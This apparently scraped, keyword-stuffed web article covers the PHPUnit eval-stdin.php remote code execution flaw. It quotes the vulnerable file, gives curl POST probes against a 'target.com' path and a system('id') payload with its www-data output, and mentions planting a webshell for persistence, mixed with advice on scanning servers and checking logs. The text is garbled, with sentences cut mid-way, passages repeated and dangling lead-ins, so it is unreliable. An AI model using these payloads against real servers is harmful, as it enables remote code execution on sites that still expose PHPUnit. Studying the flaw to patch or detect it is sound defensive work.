Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit Here

<?php // vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php while (($input = file_get_contents('php://input')) !== '') eval('?>' . $input);

Check your servers today. Run the find command. That ghost might be lurking in your dependencies, waiting for a POST request.

PHPUnit is a fantastic piece of software—for testing . But its presence on a public-facing server represents a catastrophic failure of deployment hygiene. The code inside eval-stdin.php is arguably the most dangerous 79 characters in modern PHP history, because it gives an attacker exactly what they want: a direct pipeline from HTTP to eval() . vendor phpunit phpunit src util php eval-stdin.php exploit

uid=33(www-data) gid=33(www-data) groups=33(www-data) The server has just executed the id command. The attacker now has Remote Code Execution (RCE). A single command is useful, but persistence is key. An attacker would deliver a second-stage payload to write a permanent webshell:

Why? Because this seemingly obscure path within a developer-only testing framework is a . That ghost might be lurking in your dependencies,

curl -s -X POST http://target.com/path/to/eval-stdin.php -d "<?php echo 'test'; ?>" | grep test Check your access logs for suspicious patterns. Look for POST requests to any path containing phpunit/src/Util/PHP/eval-stdin.php or eval-stdin.php . File System Scan (Server Side) Run this on your web servers:

curl -X POST https://target.com/eval-stdin.php -d "<?php echo 5*5; ?>" If the response contains 25 , it is 100% vulnerable. The vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php exploit is a masterclass in how a developer convenience tool becomes a production nightmare. The code inside eval-stdin

<?php system('id'); ?> However, for a cleaner exploit, they might use: